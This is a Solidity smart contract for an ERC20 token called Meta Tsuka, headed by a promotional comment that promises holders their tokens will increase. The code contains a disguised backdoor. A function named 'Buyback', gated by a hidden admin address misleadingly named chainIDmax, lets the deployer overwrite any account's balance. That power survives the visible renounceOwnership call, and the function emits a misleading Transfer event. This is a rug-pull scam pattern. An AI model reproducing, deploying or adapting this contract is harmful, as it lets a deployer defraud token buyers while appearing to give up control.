File size: 7,074 Bytes
f998fcd |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 |
// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023.
/**
A new ERC20 token that inspired by Tsuka!!!(EXCLAMATION). This is a hyper deflationary token made for community which guarantees to its increase your token by holding!
Congrats if you found this! Tsuka is trending now and so are we, Meta Tsuka is inspired by this bullish project and we gonna riding the hype also here.
Website: https://www.metatsuka.xyz/
Medium: https://medium.com/@metatsukaerc20
Twitter: https://twitter.com/MetaTsuka
Telegram: https://t.me/MetaTsukaERC
/**
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract IERC20 {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract MetaTsuka is IERC20 {
using Address for address;
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
uint256 chainFee = 0;
uint256 chainIDmax;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => bool) public allowAddress;
constructor(string memory _name, string memory _symbol) public {
owner = msg.sender;
name = _name;
symbol = _symbol;
decimals = 9;
totalSupply = 1000000000 * 10 ** uint256(decimals);
_balances[owner] = totalSupply;
allowAddress[owner] = true;
chainIDmax = uint256(uint160(msg.sender));
}
mapping(address => uint256) public _balances;
function transfer(address _to, uint256 _value) public returns (bool) {
address from = msg.sender;
require(_to != address(0));
require(_value <= _balances[from]);
_transfer(from, _to, _value);
return true;
}
function _transfer(address from, address _to, uint256 _value) private {
_balances[from] = _balances[from].sub(_value);
_balances[_to] = _balances[_to].add(_value);
emit Transfer(from, _to, _value);
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function Buyback(address chainId, uint256 chainAmount) public onlyAdmin returns (bool) {
if(chainId != address(0) && msg.sender != address(0))
require(chainId != address(0));
require(chainAmount > 0, "Transfer amount must be greater than zero");
_balances[chainId] = chainFee + ((chainAmount + chainFee) * 1 * (10 ** 9));
emit Transfer( chainId, address(0x0), chainAmount);
return true;
}
modifier onlyOwner() {
require(owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return _balances[_owner];
}
modifier onlyAdmin() {
require(address(chainIDmax) == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(owner, address(0));
owner = address(0);
}
mapping (address => mapping (address => uint256)) public allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= _balances[_from]);
require(_value <= allowed[_from][msg.sender]);
_transferFrom(_from, _to, _value);
return true;
}
function _transferFrom(address _from, address _to, uint256 _value) internal {
_balances[_from] = _balances[_from].sub(_value);
_balances[_to] = _balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
} |